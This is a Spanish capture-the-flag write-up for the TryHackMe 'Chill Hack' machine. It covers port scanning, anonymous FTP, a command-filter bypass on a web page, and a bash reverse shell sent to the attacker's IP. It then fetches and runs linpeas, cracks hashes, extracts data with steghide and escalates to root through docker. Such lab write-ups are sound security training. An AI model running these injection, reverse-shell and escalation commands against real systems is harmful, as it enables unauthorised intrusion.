Chill Hack
March 1, 20239 minutes
https://tryhackme.com/room/chillhack
IP Atacante = 10.10.10.10
IP víctima = 10.10.11.182
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
$ ping -c 1 10.10.11.182
PING 10.10.11.182 (10.10.11.182) 56(84) bytes of data.
64 bytes from 10.10.11.182: icmp_seq=1 ttl=61 time=558 ms
--- 10.10.11.182 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 558.208/558.208/558.208/0.000 ms
En este caso da un ttl (time to live) de 61, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.11.182 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
–min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
$ extractPorts allPorts
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.11.182
5 │ [*] Open ports: 21,22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
$ nmap -p21,22,80 -sC -sV 10.10.11.182 -oN versions
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-01 19:15 CET
Nmap scan report for photobomb.htb (10.10.11.182)
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.2.28.215
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 09f95db918d0b23a822d6e768cc20144 (RSA)
| 256 1bcf3a498b1b20b02c6aa551a88f1e62 (ECDSA)
|_ 256 3005cc52c66f6504860f7241c8a439cf (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Game Info
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Parámetro | Función |
---|---|
-p | Especificamos los puertos abiertos que hemos encontrado con el escaneo anterior |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
FTP
Lo primero que nos reporta nmap es que el usuario anonymous está permitido y hay un archivo llamado note.txt
.
$ ftp 10.10.11.182 # Nos conectamos por ftp
Connected to 10.10.11.182.
220 (vsFTPd 3.0.3)
Name (10.10.11.182:d3b0o): anonymous # Con el usuario anonymous
331 Please specify the password.
Password: # Sin contraseña
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||8911|)
150 Here comes the directory listing.
-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
226 Directory send OK.
ftp> get note.txt # Nos lo pasamos a nuestra máquina
local: note.txt remote: note.txt
229 Entering Extended Passive Mode (|||15616|)
150 Opening BINARY mode data connection for note.txt (90 bytes).
100% |*****************************************************************************| 90 28.28 KiB/s 00:00 ETA
226 Transfer complete.
90 bytes received in 00:00 (0.29 KiB/s)
Contenido de el archivo note.txt
Anurodh told me that there is some filtering on strings being put in the command – Apaar
De esta nota podemos sacar 2 posibles usuarios
- Apaar
- Anurodh
HTTP
Subdirectorios
Para encontrar subdirectorios vamos a usar la herramienta gobuster con el siguiente comando
$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.182/
/images (Status: 301) [Size: 313] [--> http://10.10.11.182/images/]
/css (Status: 301) [Size: 310] [--> http://10.10.11.182/css/]
/js (Status: 301) [Size: 309] [--> http://10.10.11.182/js/]
/fonts (Status: 301) [Size: 312] [--> http://10.10.11.182/fonts/]
/secret (Status: 301) [Size: 313] [--> http://10.10.11.182/secret/]
Hay un subdirectorio que a simple vista llama la atención /secret
Al entrar vemos que podemos ejecutar comandos.
Probando comandos podemos ver que hay algunos que los bloquea…
Intrusión
Al poner un comando válido, como por ejemplo pwd, “;” y un comando bloqueado, nos ejecuta los 2.
De tal forma que quedaría así: pwd;ls
Otra opción sería poner “\” antes del comando, porejemplo \ls
Ahora lo que vamos a hacer es mandarnos una reverse shell desde la máquina víctima a la nuestra.
Lo primero va a ser ponerse en escucha por el puerto 443 con nc
nc -nlvp 443
Y después vamos a mandar desde la web el siguiente comando:
# Puerto
pwd;bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
# IP Atacante
Recibimos la reverse shell!
$ nc -nlvp 443
listening on [any] 443 ...
connect to [10.2.28.215] from (UNKNOWN) [10.10.11.182] 57032
bash: cannot set terminal process group (1022): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/secret$
Con un ip a podemos comprobar que estamos en la 10.10.11.182
www-data@ubuntu:/var/www/html/secret$ ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:36:f5:10:cb:37 brd ff:ff:ff:ff:ff:ff
inet 10.10.11.182/16 brd 10.10.255.255 scope global dynamic eth0
valid_lft 3363sec preferred_lft 3363sec
inet6 fe80::36:f5ff:fe10:cb37/64 scope link
valid_lft forever preferred_lft forever
Tratamiento de la tty
Antes de nada para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
Escalada de privilegios
Apaar
Con un sudo -l vemos que podemos ejecutar el archivo .helpline.sh
que está en el /home/apaar/
como apaar
www-data@ubuntu:/var/www/html/secret$ sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh
www-data@ubuntu:/var/www/html/secret$
Antes de nada vamos a ver el contenido del ese archivo
#!/bin/bash
echo
echo "Welcome to helpdesk. Feel free to talk to anyone at any time!"
echo
read -p "Enter the person whom you want to talk with: " person
read -p "Hello user! I am $person, Please enter your message: " msg
$msg 2>/dev/null
echo "Thank you for your precious time!"
Es un programa muy simple, en el segundo input guarda la respuesta en una variable llamada msg y la ejecuta…
www-data@ubuntu:/var/www/html/secret$ sudo -u apaar /home/apaar/.helpline.sh
Welcome to helpdesk. Feel free to talk to anyone at any time!
Enter the person whom you want to talk with: test
Hello user! I am test, Please enter your message: bash
whoami
apaar
Para que nos salga el prompt y nos funcione el ctrl + l, etc… podemos poner el siguiente comando
script /dev/null -c bash
Anurodh
mysql (rabbit hole)
Para la escalada vamos a usar la herramienta https://linpeas.sh/ que es un script que automatiza el proceso de la escalada de privilegios
Primero nos lo pasamos a nuestra máquina
Después nos montamos un servidor con python por el puerto 80
sudo python3 -m http.server 80
Desde la máquina víctima en el directorio /tmp nos pasamos el archivo.
wget http://10.10.10.10/linpeas.sh
Le damos permisos de ejecución con chmod
chmod +x linpeas.sh
Y lo ejecutamos ./linpeas.sh
Reporta que hay 2 puertos que solo son visibles desde el localhost
tcp 0 0 127.0.0.1:9001 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN
Esto lo podríamos haber encontrado tambíen con:
apaar@ubuntu:/tmp$ (netstat -punta || ss --ntpu) | grep "127.0"
(No info could be read for "-p": geteuid()=1001 but you should be root.)
tcp 0 0 127.0.0.1:9001 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
El puerto 3306 es el puerto predeterminado de mysql
Dentro del directorio /var/www/files
hay un archivo llamado index.php
en el cual hay unas credenciales para mysql
Las cuales podemos usar para conectarnos
apaar@ubuntu:/var/www/files$ mysql -u root -p
Enter password:
mysql>
Primero listamos las bases de datos
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
| webportal |
+--------------------+
5 rows in set (0.00 sec)
Después listamos las tablas de la base de datos webportal
mysql> show tables from webportal;
+---------------------+
| Tables_in_webportal |
+---------------------+
| users |
+---------------------+
1 row in set (0.00 sec)
Por último vemos el contenido de la tabla
mysql> use webportal
mysql> select * from users;
+----+-----------+----------+-----------+----------------------------------+
| id | firstname | lastname | username | password |
+----+-----------+----------+-----------+----------------------------------+
| 1 | Anurodh | Acharya | Aurick | 7e53614ced3640d5de23f111806cc4fd |
| 2 | Apaar | Dahal | cullapaar | 686216240e5af30df0501e53c789a649 |
+----+-----------+----------+-----------+----------------------------------+
2 rows in set (0.00 sec)
Podemos ver que está el hash de dos usuarios
Con hash-identifier buscamos que tipo es
$ hash-identifier 7e53614ced3640d5de23f111806cc4fd
Possible Hashs:
[+] MD5
Vamos a guardar cada uno en un archivo (hash1, hash2) y usando john con el diccionario rockyou vamos a intentar encontrar la contraseña
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash1
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash2
Parece que era una trampa porque no sirven para nada :)
Steganography
Dentro del directorio /var/www/files
hay un archivo llamado hacker.php
el cual llama la atención
Dentro del hacker.php:
<img src = "images/hacker-with-laptop_23-2147985341.jpg"><br>
<h1 style="background-color:red;">You have reached this far. </h2>
<h1 style="background-color:black;">Look in the dark! You will find your answer</h1>
Hay un mensaje que dice: Has llegado muy lejos, Mira en la oscuridad y econtraras la respuesta
Arriba del mensaje hay una foto, la cual puede ser que tenga algo
Para pasarla a nuestra máquina vamos a abrirnos un servidor con python desde la máquina víctima
python3 -m http.server
Y desde nuestra máquina nos la bajamos
wget http://10.10.11.182:8000/hacker-with-laptop_23-2147985341.jpg
Para ver si tiene algo oculto vamos a usar la herramienta steghide
steghide extract -sf hacker-with-laptop_23-2147985341.jpg
La imagen contenia un backup.zip
El backup.zip está protegido con una contraseña, lo que vamos a hacer es sacarle el hash y después intentar romperlo con john mediante el diccionario rockyou.txt
zip2john backup.zip > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
john --show hash
Ahora ya tenmos la contraseña y lo podemos descomprimir.
Dentro hay un php en el cual en una línea podemos ver que hay una condición con un base64
if(base64_encode($password) == "IWQwbnRLbjB3bVlwQHNzdzByZA==")
Podemos descifrarlo con:
echo "IWQwbnRLbjB3bVlwQHNzdzByZA==" | base64 -d
El resultado es la contraseña del usuario anurodh
Root
Al hacer un id vemos que pertenecemos al grupo de docker
anurodh@ubuntu:/var/www/files/images$ id
uid=1002(anurodh) gid=1002(anurodh) groups=1002(anurodh),999(docker)
Echando un ojo al gtfobins podemos ver que hay un comando para escalar privilegios con docker
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Ya somos root :)